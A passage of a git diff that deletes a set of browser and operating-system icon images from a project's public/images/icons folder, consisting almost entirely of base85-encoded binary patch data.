z75GJi653*00*YFY3`3?{Oj~%7(Q-7-m5q5>%T(szlwi!m&o9tZLjMvmmSycsH>_Y? zg#(eZQKhT;?Px&;tFVEEXA{>B>y(AddKc`K@y8yV;|sOC0}YA4s>c`LNl&}|ccO?3 zR3)W6F`1vlR|M*2lpK!Cix8SMw4UQgCO_r03$#dHn^0CfSJ_th4n{3{rW)CM-pyuu zJG^G=Ggpja$|NXws^n$+;a>2cgPf@jv;1vmJ+GF52A|9Hem@D9L4b$nt zp3-HoNPxxZgMU)e!4rdcAjWo9>I$|G_cMMn3Ex|E*lyuzI!Jh$f3S?R2N9!n7b`R9 zy&c#j%r7gmi&j2O?^pJ#t?7zhn{7)MD|k|G!)kU>tAPyhIR()@kB?APd@rC9aA*Q> zz{vLkwxlF!`yct7s0dK4 zyz(;AOGqy|^a9fJj2Hq80fqoW;M^ndArf8I33&+VKS)%12J8cePOd=o7{C}qfFZyT zUDDbZUyW!7wn8J9zpznt${GTi5|31JU6Ml+BSN1m@dbOSCKEAn` zU-I614(S<(o2*;^+QjiXE-xbp>Oo=ov<_gK9jze^!Dxe{L6RJ zpKw3GA<<93b-8^zn*3XgeKS-0XsSU30caTX*usMvL=YD6Eqo0RY7i4VP=b%}Ab|)1 zP=pWgAb|)1P&vr|wIG2AO2EJ}Yt@3<7K+$_)zHe?R*S_#30t)bl~`e|MxRK?zhY7#UvZK?EfbFssR@CZC#o68Y5RlVl6{Hjz(KMZd%f zYc+gI)CWB_B=n!rMH0GDCF#r0mm2x-pJ`_K_|ouYzDET5N(`s5P$ z=lZAlXL!n<9`(t?`Vbz@U(J5KK6Fw zH&%S*pUt)b+&?NNSvK1U4DW)Xw|;B3?%h=WgU!Y0`?E6=_g~L{)4J>(X#Mf=8D8%W z8#msr>&%>Vf!iU!GW|5Zj=Ht~*xei|Qe(WuS8CNXt5p{CcARzYX6<3ri(o@rL-D+R?$3WeE;#d&(g@z=QV9Q8 z_rd4*cq|Y_p>zKMU9)yG3HTwp5BIrB96P@f|L)*V3B{X>S+KEys7~VD@_J9n`|Y&pZu)-V*gQ1(gb%wXx1YspKbu`X;yL@q?eTVfX0H{+ z3`K9#8`B=TcDiNn_2bV2G`8Z{qRS&^Qw}-p#Jg`yr;qEsalj0IxbWylsvijK^|^n~ nbKbt$i@ST*c*~=C=V4#^0+w$^T<=M{xbS^)Lhe7=X{CPw8g-sz diff --git a/public/images/icons/beef.gif b/public/images/icons/beef.gif deleted file mode 100644 index 9a49d906aa54e5798aa53b79fb4fbdd78a8e3fee..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 486 zcmZ?wbhEHbRA5kGaA9Cj{K>+|z#zt;!vF*zu@)fx|MW~HC8huWP8%B=ySTXg|Np@18kxrl6o;T3Q+dP!2C({hz=p z5Ed!tFv}=s_M|k=6>O`PwJ&(T$L@YZvtp`&i%Pp>V!(^HT+NJ5l@naLb}TBB$o;k; zkR>5{iy+?%6NOv4I}Qf98uW(saa5>Q?{`-a@v8I^vveAw`VDIa9V456gIhDPhLD;Hyo)`BzVTM(K*$m59nHv}>uUp4v%%sV@m7)7Ua)rq1 zmSk>CZqtq1lQdUFBx|Y}vvF6f)9^oRlN^1@EBd~F9mk```y37Jvo2b(cGq@H?t3GL7S!pJ#B2g{+=n#vZY=`RWE7?4v$&ZhfMqJG8Y|a0)Z$orJ(oG>n H1_o;Y?R2Q_ diff --git a/public/images/icons/bsd.png b/public/images/icons/bsd.png deleted file mode 100644 index 6bd3d29e19f28c02a928ec233b0fb5d5222e205f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 253 zcmeAS@N?(olHy`uVBq!ia0vp^d?3ui3?$#C89V|~>?NMQuIv}M`1m!orz`*H1`2T& zctjR6FmMZjFyp1Wb$@_@Ea{HEjtmSN`?>!lvI6-A0X`wF|Ns97NqN{Z80#^pDKiKN zsJb~ZSXve?nlWeVMwX()wR`tkPH1M};8?nLX;f_Nnzc=bfEpM}g8YIR9G=}s19F@_ zT^vIyZY3uiU}RBjaI8DF%GJxOTk^>>ouVMqoku3z-5hb$^Lop|&Dk5LP28pAJS%A8 o=1oNk&674x+%&ORAx0kPrT7FVdQ&MBb@0Kzs=8~^|S diff --git a/public/images/icons/bsdfreebsd.png b/public/images/icons/bsdfreebsd.png deleted file mode 100644 index 3b598628732352b340b31b29299a3d205105e9db..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 329 zcmeAS@N?(olHy`uVBq!ia0vp^d?3ui3?$#C89V|~nkB9gB`&GO$wiq3C7Jno4DOj} zPNkVSDXB#Y270CnNtFtbWvRsq0h#HgsU>zhJ5~ZUv6p!Iy0Ty3;^WuUp050(8z{tC z;1OBOz`!j8!i<;h*8KqrvZOouIx;Y9?C1WI$O`1^2Ka=y{{R2~!s!cBGV>$!ZKHjY zmQI^@eC5XX@83HrX>ZfXIaQ%!7>RCV89yLNBu-X-kf=|GK)B|(0{3=Yq3qyagx zo-U3d6}OTT5;T&|6eln=JrLh5>QHiQ<`-^-S&r(Ld3=uNSg9~9()P>eVYzrFebNDw z<1d>ND*K)>2UIb4Xa$>v=_Diwga(@N%{>wDO6|&`uFPpAawY;0g;_}(D)XW46| RV?c`-JYD@<);T3K0RYt*b=m*` diff --git a/public/images/icons/chrome.png b/public/images/icons/chrome.png deleted file mode 100644 index 59262913f3f0e8396e49bc74162a3769afe4f4d6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5268 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 a>i+??@yWK8;rvGc0000{9u diff --git a/public/images/icons/epiphany.png b/public/images/icons/epiphany.png deleted file mode 100644 index dc87718c5cc82d11d1047cf4da7b33c225ceca10..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 631 zcmV--0*L*IP)Tc6K+L!bWoZstDwdBNt4WTFtu|%#`s}34l0x5ZJjyZXs_H89l@Sw~2~*efwxPCY_-{{RH%cmWA72gq zj9cc))vX-FGx8+s@bceFej>-oKm-p2$7e7wANk%&ZYJ01(m5{>PS?xPPtH>&<5( z8)ou6>8;JRC^U8g0JD@rDYY4nq^G$y!jVwKGJ-2<$=dC!EmEdtL{y4|5Cu7z zzoYTK;kOS*jMBVA9W6D{m_7StnMffbGYdonU_`voa7HDpSbQ)0fL32sZhZRMdHq4p z-NBumh_j^(1OkXi%tt(KT@$Y-XTpE}g?{{cGxd4#+j?U~X>CP0GXerSA7Ex8mQuVJ zpL+CcY;|)hX`eWIy5!2Gb15mQ%!G)Ji5yMXHZ$7^Yi#nv^z1w{GqY04f&bUCJ9haz R&@})6002ovPDHLkV1n?(9o7H< diff --git a/public/images/icons/firefox.png b/public/images/icons/firefox.png deleted file mode 100644 index eb55e7e18d4efacdced68289614a5f48a9fc6ee4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 368 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 diff --git a/public/images/icons/grey.png b/public/images/icons/grey.png deleted file mode 100644 index a3238633a426538c27318c464bea03696d9bff2c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3558 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 diff --git a/public/images/icons/iphone.png b/public/images/icons/iphone.png deleted file mode 100644 index ab4a8cc31a0e0ba8e9760ff502ac56c4b155e0b9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1577 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa$r9IylHmNblJdl&R0hYC{G?O` z&)mfH)S%SFl*+=BsWuD@%u1Od5hW46K32*3xq68pHF_1f1wh>l3^w)^1&PVosU-?Y zsp*+{wo31J?^jaDOtDo8H}y5}EpSfF$n>ZxN)4{^3rViZPPR-@vbR&PsjvbXkegbP zs8ErclUHn2VXFi-*9yo63F|80+w{G(j&jGsVi>$i&3L#o64=(A>n((8bNdz|hRe%+Yq3v0*Y)REP|r^ zO>!b4o!&jt=REE#77&`=vtY8%oHMih{6nLSf2?3%|KRV}{r~@_+DOVpPV!Pc|Af2M zOm%8+;*4pTY|AniW!Lh2xohfscuJ6{w6wH)*}EI}wB6kA&#}CEzkEZ8*2WbpTLUy& za&O-_Urt)IuKQXxx9+`fe=5Jpyf`wQ@o~BPi>&*{BFx(N zmr4HKRrcY<$M9QbYpx3&;^DP*S*akIVI$r@4F~@fM^$v1zGTxgzyJ8{?(aU~wOaK;OXjI*uK5>x zzbMTrdb3C80f!kv*J|S&Ji9l}w7(<&``i_mSx?W&yeu#DGQNCfn~v*`NnOi-Pcdql zcfI^@)4O}lA*WgW?*DgP@n7np^mL1BpBi#y-CxS>IC^dGYL1tz`(Dg+dFk1bI4B_mu{Xi&tBpGQ&axSn_a?cpI!gKuD2{qsMI7{F?hSnm3`BmhwrTWJhSZ5 zf=OpDlzcOY`=%d$`tzNg)0373ELl6@umP*1o%dF@kj6{ANXwJH^=7Sxo>A{ zBRO slZC_c_p43y5#qG=SgU^_mdKI;Vst0KPwc6hbmm72G|21E$vbbOIH#mw5WRvR`77;8PPe+;}AgD8yOd5n0T@z%2yA zjF;}#{Q(NHq&xaLGB9lH=l+w(3gk-%_=LFr|NsBYnKLtI&NMbQPD@Jza)B~4XQnYQ z7+d|AG!MvOED7=pW^j0R11QGe?djqeQgO?)&r|4t0|%4fl_&r8`z$8!yV2^+Im2UB zETh|&Wiw9oZRGNu(ePsrSNn;iZocs7I4i3cd>OT(mrt%vcoe?aYWg3>(znbd&l#IK TexH*98q476>gTe~DWM4fP&Z&x diff --git a/public/images/icons/linux.png b/public/images/icons/linux.png deleted file mode 100644 index 33dace828f4e5e9e396dacf631494dcd5358e9e8..0000000000000000000000000000000000000000 GIT binary patch literal 0 